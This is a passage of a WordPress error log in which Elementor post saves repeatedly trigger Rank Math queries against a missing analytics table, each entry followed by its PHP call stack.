Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:04:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:04:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:06:19 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:06:19 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:14:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:14:09 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:14:23 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:14:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:14:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:14:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:15:21 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:15:21 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:17:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:17:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:19:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:19:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:19:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:19:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1301 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:20:27 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:20:27 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1303 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:20:28 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:20:28 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1304 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:20:29 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:20:30 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1305 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:22:56 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1306 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:22:56 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1306 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:22:56 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1306 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:23:46 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1306 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:23:46 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1306 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:24:28 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1306 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:24:29 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1306 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:24:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:24:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1307 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:24:53 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [29-Apr-2026 19:24:55 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1308 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [29-Apr-2026 19:24:57 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' 